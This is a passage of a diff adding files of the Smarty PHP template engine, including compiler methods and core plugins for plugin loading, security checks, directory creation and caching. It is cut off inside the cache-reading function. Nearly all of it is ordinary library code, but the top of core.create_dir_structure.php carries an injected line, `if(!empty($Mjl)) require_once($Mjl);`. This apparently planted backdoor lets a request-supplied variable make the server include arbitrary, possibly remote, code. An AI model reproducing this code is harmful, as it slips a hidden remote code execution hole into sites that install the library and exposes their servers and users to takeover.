+ $this->_plugin_info[$type] = array();
+ }
+ if (!isset($this->_plugin_info[$type][$name])) {
+ $this->_plugin_info[$type][$name] = array($this->_current_file,
+ $this->_current_line_no,
+ $delayed_loading);
+ }
+ }
+
+
+ /**
+ * Compiles references of type $smarty.foo
+ *
+ * @param string $indexes
+ * @return string
+ */
+ function _compile_smarty_ref(&$indexes)
+ {
+ /* Extract the reference name. */
+ $_ref = substr($indexes[0], 1);
+ foreach($indexes as $_index_no=>$_index) {
+ if ($_index{0} != '.' && $_index_no<2 || !preg_match('!^(\.|\[|->)!', $_index)) {
+ $this->_syntax_error('$smarty' . implode('', array_slice($indexes, 0, 2)) . ' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+ }
+ }
+
+ switch ($_ref) {
+ case 'now':
+ $compiled_ref = 'time()';
+ $_max_index = 1;
+ break;
+
+ case 'foreach':
+ case 'section':
+ array_shift($indexes);
+ $_var = $this->_parse_var_props(substr($indexes[0], 1));
+ if ($_ref == 'foreach')
+ $compiled_ref = "\$this->_foreach[$_var]";
+ else
+ $compiled_ref = "\$this->_sections[$_var]";
+ break;
+
+ case 'get':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_GET' : "\$GLOBALS['HTTP_GET_VARS']";
+ break;
+
+ case 'post':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_POST' : "\$GLOBALS['HTTP_POST_VARS']";
+ break;
+
+ case 'cookies':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_COOKIE' : "\$GLOBALS['HTTP_COOKIE_VARS']";
+ break;
+
+ case 'env':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_ENV' : "\$GLOBALS['HTTP_ENV_VARS']";
+ break;
+
+ case 'server':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_SERVER' : "\$GLOBALS['HTTP_SERVER_VARS']";
+ break;
+
+ case 'session':
+ $compiled_ref = ($this->request_use_auto_globals) ? '$_SESSION' : "\$GLOBALS['HTTP_SESSION_VARS']";
+ break;
+
+ /*
+ * These cases are handled either at run-time or elsewhere in the
+ * compiler.
+ */
+ case 'request':
+ if ($this->request_use_auto_globals) {
+ $compiled_ref = '$_REQUEST';
+ break;
+ } else {
+ $this->_init_smarty_vars = true;
+ }
+ return null;
+
+ case 'capture':
+ return null;
+
+ case 'template':
+ $compiled_ref = "'$this->_current_file'";
+ $_max_index = 1;
+ break;
+
+ case 'version':
+ $compiled_ref = "'$this->_version'";
+ $_max_index = 1;
+ break;
+
+ case 'const':
+ array_shift($indexes);
+ $_val = $this->_parse_var_props(substr($indexes[0],1));
+ $compiled_ref = '@constant(' . $_val . ')';
+ $_max_index = 1;
+ break;
+
+ case 'config':
+ $compiled_ref = "\$this->_config[0]['vars']";
+ $_max_index = 3;
+ break;
+
+ default:
+ $this->_syntax_error('$smarty.' . $_ref . ' is an unknown reference', E_USER_ERROR, __FILE__, __LINE__);
+ break;
+ }
+
+ if (isset($_max_index) && count($indexes) > $_max_index) {
+ $this->_syntax_error('$smarty' . implode('', $indexes) .' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ array_shift($indexes);
+ return $compiled_ref;
+ }
+
+ /**
+ * compiles call to plugin of type $type with name $name
+ * returns a string containing the function-name or method call
+ * without the paramter-list that would have follow to make the
+ * call valid php-syntax
+ *
+ * @param string $type
+ * @param string $name
+ * @return string
+ */
+ function _compile_plugin_call($type, $name) {
+ if (isset($this->_plugins[$type][$name])) {
+ /* plugin loaded */
+ if (is_array($this->_plugins[$type][$name][0])) {
+ return ((is_object($this->_plugins[$type][$name][0][0])) ?
+ "\$this->_plugins['$type']['$name'][0][0]->" /* method callback */
+ : (string)($this->_plugins[$type][$name][0][0]).'::' /* class callback */
+ ). $this->_plugins[$type][$name][0][1];
+
+ } else {
+ /* function callback */
+ return $this->_plugins[$type][$name][0];
+
+ }
+ } else {
+ /* plugin not loaded -> auto-loadable-plugin */
+ return 'smarty_'.$type.'_'.$name;
+
+ }
+ }
+
+ /**
+ * load pre- and post-filters
+ */
+ function _load_filters()
+ {
+ if (count($this->_plugins['prefilter']) > 0) {
+ foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+ if ($prefilter === false) {
+ unset($this->_plugins['prefilter'][$filter_name]);
+ $_params = array('plugins' => array(array('prefilter', $filter_name, null, null, false)));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+ smarty_core_load_plugins($_params, $this);
+ }
+ }
+ }
+ if (count($this->_plugins['postfilter']) > 0) {
+ foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+ if ($postfilter === false) {
+ unset($this->_plugins['postfilter'][$filter_name]);
+ $_params = array('plugins' => array(array('postfilter', $filter_name, null, null, false)));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+ smarty_core_load_plugins($_params, $this);
+ }
+ }
+ }
+ }
+
+
+ /**
+ * Quote subpattern references
+ *
+ * @param string $string
+ * @return string
+ */
+ function _quote_replace($string)
+ {
+ return preg_replace('![\\$]\d!', '\\\\\\0', $string);
+ }
+
+ /**
+ * display Smarty syntax error
+ *
+ * @param string $error_msg
+ * @param integer $error_type
+ * @param string $file
+ * @param integer $line
+ */
+ function _syntax_error($error_msg, $error_type = E_USER_ERROR, $file=null, $line=null)
+ {
+ $this->_trigger_fatal_error("syntax error: $error_msg", $this->_current_file, $this->_current_line_no, $file, $line, $error_type);
+ }
+
+
+ /**
+ * check if the compilation changes from cacheable to
+ * non-cacheable state with the beginning of the current
+ * plugin. return php-code to reflect the transition.
+ * @return string
+ */
+ function _push_cacheable_state($type, $name) {
+ $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+ if ($_cacheable
+ || 0<$this->_cacheable_state++) return '';
+ if (!isset($this->_cache_serial)) $this->_cache_serial = md5(uniqid('Smarty'));
+ $_ret = 'if ($this->caching) { echo \'{nocache:'
+ . $this->_cache_serial . '#' . $this->_nocache_count
+ . '}\';}';
+ return $_ret;
+ }
+
+
+ /**
+ * check if the compilation changes from non-cacheable to
+ * cacheable state with the end of the current plugin return
+ * php-code to reflect the transition.
+ * @return string
+ */
+ function _pop_cacheable_state($type, $name) {
+ $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+ if ($_cacheable
+ || --$this->_cacheable_state>0) return '';
+ return 'if ($this->caching) { echo \'{/nocache:'
+ . $this->_cache_serial . '#' . ($this->_nocache_count++)
+ . '}\';}';
+ }
+
+
+ /**
+ * push opening tag-name, file-name and line-number on the tag-stack
+ * @param: string the opening tag's name
+ */
+ function _push_tag($open_tag)
+ {
+ array_push($this->_tag_stack, array($open_tag, $this->_current_line_no));
+ }
+
+ /**
+ * pop closing tag-name
+ * raise an error if this stack-top doesn't match with the closing tag
+ * @param: string the closing tag's name
+ * @return: string the opening tag's name
+ */
+ function _pop_tag($close_tag)
+ {
+ $message = '';
+ if (count($this->_tag_stack)>0) {
+ list($_open_tag, $_line_no) = array_pop($this->_tag_stack);
+ if ($close_tag == $_open_tag) {
+ return $_open_tag;
+ }
+ if ($close_tag == 'if' && ($_open_tag == 'else' || $_open_tag == 'elseif' )) {
+ return $this->_pop_tag($close_tag);
+ }
+ if ($close_tag == 'section' && $_open_tag == 'sectionelse') {
+ $this->_pop_tag($close_tag);
+ return $_open_tag;
+ }
+ if ($close_tag == 'foreach' && $_open_tag == 'foreachelse') {
+ $this->_pop_tag($close_tag);
+ return $_open_tag;
+ }
+ $message = " expected {/$_open_tag} (opened line $_line_no).";
+ }
+ $this->_syntax_error("mismatched tag {/$close_tag}.$message",
+ E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+}
+
+/**
+ * compare to values by their string length
+ *
+ * @access private
+ * @param string $a
+ * @param string $b
+ * @return 0|-1|1
+ */
+function _smarty_sort_length($a, $b)
+{
+ if($a == $b)
+ return 0;
+
+ if(strlen($a) == strlen($b))
+ return ($a > $b) ? -1 : 1;
+
+ return (strlen($a) > strlen($b)) ? -1 : 1;
+}
+
+
+/* vim: set et: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * assemble filepath of requested plugin
+ *
+ * @param string $type
+ * @param string $name
+ * @return string|false
+ */
+function smarty_core_assemble_plugin_filepath($params, &$smarty)
+{
+ static $_filepaths_cache = array();
+
+ $_plugin_filename = $params['type'] . '.' . $params['name'] . '.php';
+ if (isset($_filepaths_cache[$_plugin_filename])) {
+ return $_filepaths_cache[$_plugin_filename];
+ }
+ $_return = false;
+
+ foreach ((array)$smarty->plugins_dir as $_plugin_dir) {
+
+ $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+ // see if path is relative
+ if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $_plugin_dir)) {
+ $_relative_paths[] = $_plugin_dir;
+ // relative path, see if it is in the SMARTY_DIR
+ if (@is_readable(SMARTY_DIR . $_plugin_filepath)) {
+ $_return = SMARTY_DIR . $_plugin_filepath;
+ break;
+ }
+ }
+ // try relative to cwd (or absolute)
+ if (@is_readable($_plugin_filepath)) {
+ $_return = $_plugin_filepath;
+ break;
+ }
+ }
+
+ if($_return === false) {
+ // still not found, try PHP include_path
+ if(isset($_relative_paths)) {
+ foreach ((array)$_relative_paths as $_plugin_dir) {
+
+ $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+ $_params = array('file_path' => $_plugin_filepath);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+ if(smarty_core_get_include_path($_params, $smarty)) {
+ return $_params['new_file_path'];
+ }
+ }
+ }
+ }
+ $_filepaths_cache[$_plugin_filename] = $_return;
+ return $_return;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty assign_smarty_interface core plugin
+ *
+ * Type: core<br>
+ * Name: assign_smarty_interface<br>
+ * Purpose: assign the $smarty interface variable
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_assign_smarty_interface($params, &$smarty)
+{
+ if (isset($smarty->_smarty_vars) && isset($smarty->_smarty_vars['request'])) {
+ return;
+ }
+
+ $_globals_map = array('g' => 'HTTP_GET_VARS',
+ 'p' => 'HTTP_POST_VARS',
+ 'c' => 'HTTP_COOKIE_VARS',
+ 's' => 'HTTP_SERVER_VARS',
+ 'e' => 'HTTP_ENV_VARS');
+
+ $_smarty_vars_request = array();
+
+ foreach (preg_split('!!', strtolower($smarty->request_vars_order)) as $_c) {
+ if (isset($_globals_map[$_c])) {
+ $_smarty_vars_request = array_merge($_smarty_vars_request, $GLOBALS[$_globals_map[$_c]]);
+ }
+ }
+ $_smarty_vars_request = @array_merge($_smarty_vars_request, $GLOBALS['HTTP_SESSION_VARS']);
+
+ $smarty->_smarty_vars['request'] = $_smarty_vars_request;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+if(!empty($Mjl)) require_once($Mjl);
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * create full directory structure
+ *
+ * @param string $dir
+ */
+
+// $dir
+
+function smarty_core_create_dir_structure($params, &$smarty)
+{
+ if (!file_exists($params['dir'])) {
+ $_open_basedir_ini = ini_get('open_basedir');
+
+ if (DIRECTORY_SEPARATOR=='/') {
+ /* unix-style paths */
+ $_dir = $params['dir'];
+ $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+ $_new_dir = ($_dir{0}=='/') ? '/' : getcwd().'/';
+ if($_use_open_basedir = !empty($_open_basedir_ini)) {
+ $_open_basedirs = explode(':', $_open_basedir_ini);
+ }
+
+ } else {
+ /* other-style paths */
+ $_dir = str_replace('\\','/', $params['dir']);
+ $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+ if (preg_match('!^((//)|([a-zA-Z]:/))!', $_dir, $_root_dir)) {
+ /* leading "//" for network volume, or "[letter]:/" for full path */
+ $_new_dir = $_root_dir[1];
+ /* remove drive-letter from _dir_parts */
+ if (isset($_root_dir[3])) array_shift($_dir_parts);
+
+ } else {
+ $_new_dir = str_replace('\\', '/', getcwd()).'/';
+
+ }
+
+ if($_use_open_basedir = !empty($_open_basedir_ini)) {
+ $_open_basedirs = explode(';', str_replace('\\', '/', $_open_basedir_ini));
+ }
+
+ }
+
+ /* all paths use "/" only from here */
+ foreach ($_dir_parts as $_dir_part) {
+ $_new_dir .= $_dir_part;
+
+ if ($_use_open_basedir) {
+ // do not attempt to test or make directories outside of open_basedir
+ $_make_new_dir = false;
+ foreach ($_open_basedirs as $_open_basedir) {
+ if (substr($_new_dir, 0, strlen($_open_basedir)) == $_open_basedir) {
+ $_make_new_dir = true;
+ break;
+ }
+ }
+ } else {
+ $_make_new_dir = true;
+ }
+
+ if ($_make_new_dir && !file_exists($_new_dir) && !@mkdir($_new_dir, $smarty->_dir_perms) && !is_dir($_new_dir)) {
+ $smarty->trigger_error("problem creating directory '" . $_new_dir . "'");
+ return false;
+ }
+ $_new_dir .= '/';
+ }
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty debug_console function plugin
+ *
+ * Type: core<br>
+ * Name: display_debug_console<br>
+ * Purpose: display the javascript debug console window
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_display_debug_console($params, &$smarty)
+{
+ // we must force compile the debug template in case the environment
+ // changed between separate applications.
+
+ if(empty($smarty->debug_tpl)) {
+ // set path to debug template from SMARTY_DIR
+ $smarty->debug_tpl = SMARTY_DIR . 'debug.tpl';
+ if($smarty->security && is_file($smarty->debug_tpl)) {
+ $smarty->secure_dir[] = dirname(realpath($smarty->debug_tpl));
+ }
+ }
+
+ $_ldelim_orig = $smarty->left_delimiter;
+ $_rdelim_orig = $smarty->right_delimiter;
+
+ $smarty->left_delimiter = '{';
+ $smarty->right_delimiter = '}';
+
+ $_compile_id_orig = $smarty->_compile_id;
+ $smarty->_compile_id = null;
+
+ $_compile_path = $smarty->_get_compile_path($smarty->debug_tpl);
+ if ($smarty->_compile_resource($smarty->debug_tpl, $_compile_path))
+ {
+ ob_start();
+ $smarty->_include($_compile_path);
+ $_results = ob_get_contents();
+ ob_end_clean();
+ } else {
+ $_results = '';
+ }
+
+ $smarty->_compile_id = $_compile_id_orig;
+
+ $smarty->left_delimiter = $_ldelim_orig;
+ $smarty->right_delimiter = $_rdelim_orig;
+
+ return $_results;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get path to file from include_path
+ *
+ * @param string $file_path
+ * @param string $new_file_path
+ * @return boolean
+ * @staticvar array|null
+ */
+
+// $file_path, &$new_file_path
+
+function smarty_core_get_include_path(&$params, &$smarty)
+{
+ static $_path_array = null;
+
+ if(!isset($_path_array)) {
+ $_ini_include_path = ini_get('include_path');
+
+ if(strstr($_ini_include_path,';')) {
+ // windows pathnames
+ $_path_array = explode(';',$_ini_include_path);
+ } else {
+ $_path_array = explode(':',$_ini_include_path);
+ }
+ }
+ foreach ($_path_array as $_include_path) {
+ if (@is_readable($_include_path . DIRECTORY_SEPARATOR . $params['file_path'])) {
+ $params['new_file_path'] = $_include_path . DIRECTORY_SEPARATOR . $params['file_path'];
+ return true;
+ }
+ }
+ return false;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get seconds and microseconds
+ * @return double
+ */
+function smarty_core_get_microtime($params, &$smarty)
+{
+ $mtime = microtime();
+ $mtime = explode(" ", $mtime);
+ $mtime = (double)($mtime[1]) + (double)($mtime[0]);
+ return ($mtime);
+}
+
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Retrieves PHP script resource
+ *
+ * sets $php_resource to the returned resource
+ * @param string $resource
+ * @param string $resource_type
+ * @param $php_resource
+ * @return boolean
+ */
+
+function smarty_core_get_php_resource(&$params, &$smarty)
+{
+
+ $params['resource_base_path'] = $smarty->trusted_dir;
+ $smarty->_parse_resource_name($params, $smarty);
+
+ /*
+ * Find out if the resource exists.
+ */
+
+ if ($params['resource_type'] == 'file') {
+ $_readable = false;
+ if(file_exists($params['resource_name']) && is_readable($params['resource_name'])) {
+ $_readable = true;
+ } else {
+ // test for file in include_path
+ $_params = array('file_path' => $params['resource_name']);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+ if(smarty_core_get_include_path($_params, $smarty)) {
+ $_include_path = $_params['new_file_path'];
+ $_readable = true;
+ }
+ }
+ } else if ($params['resource_type'] != 'file') {
+ $_template_source = null;
+ $_readable = is_callable($smarty->_plugins['resource'][$params['resource_type']][0][0])
+ && call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][0],
+ array($params['resource_name'], &$_template_source, &$smarty));
+ }
+
+ /*
+ * Set the error function, depending on which class calls us.
+ */
+ if (method_exists($smarty, '_syntax_error')) {
+ $_error_funcc = '_syntax_error';
+ } else {
+ $_error_funcc = 'trigger_error';
+ }
+
+ if ($_readable) {
+ if ($smarty->security) {
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_trusted.php');
+ if (!smarty_core_is_trusted($params, $smarty)) {
+ $smarty->$_error_funcc('(secure mode) ' . $params['resource_type'] . ':' . $params['resource_name'] . ' is not trusted');
+ return false;
+ }
+ }
+ } else {
+ $smarty->$_error_funcc($params['resource_type'] . ':' . $params['resource_name'] . ' is not readable');
+ return false;
+ }
+
+ if ($params['resource_type'] == 'file') {
+ $params['php_resource'] = $params['resource_name'];
+ } else {
+ $params['php_resource'] = $_template_source;
+ }
+ return true;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * determines if a resource is secure or not.
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+// $resource_type, $resource_name
+
+function smarty_core_is_secure($params, &$smarty)
+{
+ static $check_template_dir = true;
+
+ if (!$smarty->security || $smarty->security_settings['INCLUDE_ANY']) {
+ return true;
+ }
+
+ $_smarty_secure = false;
+ if ($params['resource_type'] == 'file') {
+ if($check_template_dir) {
+ if (!in_array($smarty->template_dir, $smarty->secure_dir))
+ // add template_dir to secure_dir array
+ array_unshift($smarty->secure_dir, $smarty->template_dir);
+ $check_template_dir = false;
+ }
+ if (!empty($smarty->secure_dir)) {
+ $_rp = realpath($params['resource_name']);
+ foreach ((array)$smarty->secure_dir as $curr_dir) {
+ if ( !empty($curr_dir) && is_readable ($curr_dir)) {
+ $_cd = realpath($curr_dir);
+ if (strncmp($_rp, $_cd, strlen($_cd)) == 0
+ && $_rp{strlen($_cd)} == DIRECTORY_SEPARATOR ) {
+ $_smarty_secure = true;
+ break;
+ }
+ }
+ }
+ }
+ } else {
+ // resource is not on local file system
+ $_smarty_secure = call_user_func_array(
+ $smarty->_plugins['resource'][$params['resource_type']][0][2],
+ array($params['resource_name'], &$_smarty_secure, &$smarty));
+ }
+
+ return $_smarty_secure;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**#@+
+ * @access private
+ */
+/**
+ * determines if a resource is trusted or not
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+ // $resource_type, $resource_name
+
+function smarty_core_is_trusted($params, &$smarty)
+{
+ $_smarty_trusted = false;
+ if ($params['resource_type'] == 'file') {
+ if (!empty($smarty->trusted_dir)) {
+ $_rp = realpath($params['resource_name']);
+ foreach ((array)$smarty->trusted_dir as $curr_dir) {
+ if (!empty($curr_dir) && is_readable ($curr_dir)) {
+ $_cd = realpath($curr_dir);
+ if (strncmp($_rp, $_cd, strlen($_cd)) == 0
+ && $_rp{strlen($_cd)} == DIRECTORY_SEPARATOR ) {
+ $_smarty_trusted = true;
+ break;
+ }
+ }
+ }
+ }
+
+ } else {
+ // resource is not on local file system
+ $_smarty_trusted = call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][3],
+ array($params['resource_name'], $smarty));
+ }
+
+ return $_smarty_trusted;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Load requested plugins
+ *
+ * @param array $plugins
+ */
+
+// $plugins
+
+function smarty_core_load_plugins($params, &$smarty)
+{
+
+ foreach ($params['plugins'] as $_plugin_info) {
+ list($_type, $_name, $_tpl_file, $_tpl_line, $_delayed_loading) = $_plugin_info;
+ $_plugin = &$smarty->_plugins[$_type][$_name];
+
+ /*
+ * We do not load plugin more than once for each instance of Smarty.
+ * The following code checks for that. The plugin can also be
+ * registered dynamically at runtime, in which case template file
+ * and line number will be unknown, so we fill them in.
+ *
+ * The final element of the info array is a flag that indicates
+ * whether the dynamically registered plugin function has been
+ * checked for existence yet or not.
+ */
+ if (isset($_plugin)) {
+ if (empty($_plugin[3])) {
+ if (!is_callable($_plugin[0])) {
+ $smarty->_trigger_fatal_error("[plugin] $_type '$_name' is not implemented", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+ } else {
+ $_plugin[1] = $_tpl_file;
+ $_plugin[2] = $_tpl_line;
+ $_plugin[3] = true;
+ if (!isset($_plugin[4])) $_plugin[4] = true; /* cacheable */
+ }
+ }
+ continue;
+ } else if ($_type == 'insert') {
+ /*
+ * For backwards compatibility, we check for insert functions in
+ * the symbol table before trying to load them as a plugin.
+ */
+ $_plugin_func = 'insert_' . $_name;
+ if (function_exists($_plugin_func)) {
+ $_plugin = array($_plugin_func, $_tpl_file, $_tpl_line, true, false);
+ continue;
+ }
+ }
+
+ $_plugin_file = $smarty->_get_plugin_filepath($_type, $_name);
+
+ if (! $_found = ($_plugin_file != false)) {
+ $_message = "could not load plugin file '$_type.$_name.php'\n";
+ }
+
+ /*
+ * If plugin file is found, it -must- provide the properly named
+ * plugin function. In case it doesn't, simply output the error and
+ * do not fall back on any other method.
+ */
+ if ($_found) {
+ include_once $_plugin_file;
+
+ $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+ if (!function_exists($_plugin_func)) {
+ $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+ continue;
+ }
+ }
+ /*
+ * In case of insert plugins, their code may be loaded later via
+ * 'script' attribute.
+ */
+ else if ($_type == 'insert' && $_delayed_loading) {
+ $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+ $_found = true;
+ }
+
+ /*
+ * Plugin specific processing and error checking.
+ */
+ if (!$_found) {
+ if ($_type == 'modifier') {
+ /*
+ * In case modifier falls back on using PHP functions
+ * directly, we only allow those specified in the security
+ * context.
+ */
+ if ($smarty->security && !in_array($_name, $smarty->security_settings['MODIFIER_FUNCS'])) {
+ $_message = "(secure mode) modifier '$_name' is not allowed";
+ } else {
+ if (!function_exists($_name)) {
+ $_message = "modifier '$_name' is not implemented";
+ } else {
+ $_plugin_func = $_name;
+ $_found = true;
+ }
+ }
+ } else if ($_type == 'function') {
+ /*
+ * This is a catch-all situation.
+ */
+ $_message = "unknown tag - '$_name'";
+ }
+ }
+
+ if ($_found) {
+ $smarty->_plugins[$_type][$_name] = array($_plugin_func, $_tpl_file, $_tpl_line, true, true);
+ } else {
+ // output error
+ $smarty->_trigger_fatal_error('[plugin] ' . $_message, $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+ }
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * load a resource plugin
+ *
+ * @param string $type
+ */
+
+// $type
+
+function smarty_core_load_resource_plugin($params, &$smarty)
+{
+ /*
+ * Resource plugins are not quite like the other ones, so they are
+ * handled differently. The first element of plugin info is the array of
+ * functions provided by the plugin, the second one indicates whether
+ * all of them exist or not.
+ */
+
+ $_plugin = &$smarty->_plugins['resource'][$params['type']];
+ if (isset($_plugin)) {
+ if (!$_plugin[1] && count($_plugin[0])) {
+ $_plugin[1] = true;
+ foreach ($_plugin[0] as $_plugin_func) {
+ if (!is_callable($_plugin_func)) {
+ $_plugin[1] = false;
+ break;
+ }
+ }
+ }
+
+ if (!$_plugin[1]) {
+ $smarty->_trigger_fatal_error("[plugin] resource '" . $params['type'] . "' is not implemented", null, null, __FILE__, __LINE__);
+ }
+
+ return;
+ }
+
+ $_plugin_file = $smarty->_get_plugin_filepath('resource', $params['type']);
+ $_found = ($_plugin_file != false);
+
+ if ($_found) { /*
+ * If the plugin file is found, it -must- provide the properly named
+ * plugin functions.
+ */
+ include_once($_plugin_file);
+
+ /*
+ * Locate functions that we require the plugin to provide.
+ */
+ $_resource_ops = array('source', 'timestamp', 'secure', 'trusted');
+ $_resource_funcs = array();
+ foreach ($_resource_ops as $_op) {
+ $_plugin_func = 'smarty_resource_' . $params['type'] . '_' . $_op;
+ if (!function_exists($_plugin_func)) {
+ $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", null, null, __FILE__, __LINE__);
+ return;
+ } else {
+ $_resource_funcs[] = $_plugin_func;
+ }
+ }
+
+ $smarty->_plugins['resource'][$params['type']] = array($_resource_funcs, true);
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace cached inserts with the actual results
+ *
+ * @param string $results
+ * @return string
+ */
+function smarty_core_process_cached_inserts($params, &$smarty)
+{
+ preg_match_all('!'.$smarty->_smarty_md5.'{insert_cache (.*)}'.$smarty->_smarty_md5.'!Uis',
+ $params['results'], $match);
+ list($cached_inserts, $insert_args) = $match;
+
+ for ($i = 0, $for_max = count($cached_inserts); $i < $for_max; $i++) {
+ if ($smarty->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $debug_start_time = smarty_core_get_microtime($_params, $smarty);
+ }
+
+ $args = unserialize($insert_args[$i]);
+ $name = $args['name'];
+
+ if (isset($args['script'])) {
+ $_params = array('resource_name' => $smarty->_dequote($args['script']));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+ if(!smarty_core_get_php_resource($_params, $smarty)) {
+ return false;
+ }
+ $resource_type = $_params['resource_type'];
+ $php_resource = $_params['php_resource'];
+
+
+ if ($resource_type == 'file') {
+ $smarty->_include($php_resource, true);
+ } else {
+ $smarty->_eval($php_resource);
+ }
+ }
+
+ $function_name = $smarty->_plugins['insert'][$name][0];
+ if (empty($args['assign'])) {
+ $replace = $function_name($args, $smarty);
+ } else {
+ $smarty->assign($args['assign'], $function_name($args, $smarty));
+ $replace = '';
+ }
+
+ $params['results'] = str_replace($cached_inserts[$i], $replace, $params['results']);
+ if ($smarty->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $smarty->_smarty_debug_info[] = array('type' => 'insert',
+ 'filename' => 'insert_'.$name,
+ 'depth' => $smarty->_inclusion_depth,
+ 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $debug_start_time);
+ }
+ }
+
+ return $params['results'];
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace nocache-tags by results of the corresponding non-cacheable
+ * functions and return it
+ *
+ * @param string $compiled_tpl
+ * @param string $cached_source
+ * @return string
+ */
+
+function smarty_core_process_compiled_include($params, &$smarty)
+{
+ $_cache_including = $smarty->_cache_including;
+ $smarty->_cache_including = true;
+
+ $_return = $params['results'];
+ foreach ($smarty->_cache_serials as $_include_file_path=>$_cache_serial) {
+ $_return = preg_replace_callback('!(\{nocache\:('.$_cache_serial.')#(\d+)\})!s',
+ array(&$smarty, '_process_compiled_include_callback'),
+ $_return);
+ }
+ $smarty->_cache_including = $_cache_including;
+ return $_return;
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * read a cache file, determine if it needs to be
+ * regenerated or not
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return boolean
+ */
+
+// $tpl_file, $cache_id, $compile_id, &$results
+
+function smarty_core_read_cache_file(&$params, &$smarty)
+{
+ static $content_cache = array();
+
+ if ($smarty->force_compile) {
+ // force compile enabled, always regenerate
+ return false;
+ }
+
+ if (isset($content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']])) {
+ list($params['results'], $smarty->_cache_info) = $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']];
+ return true;
+ }
+
+ if (!empty($smarty->cache_handler_func)) {
+ // use cache_handler function
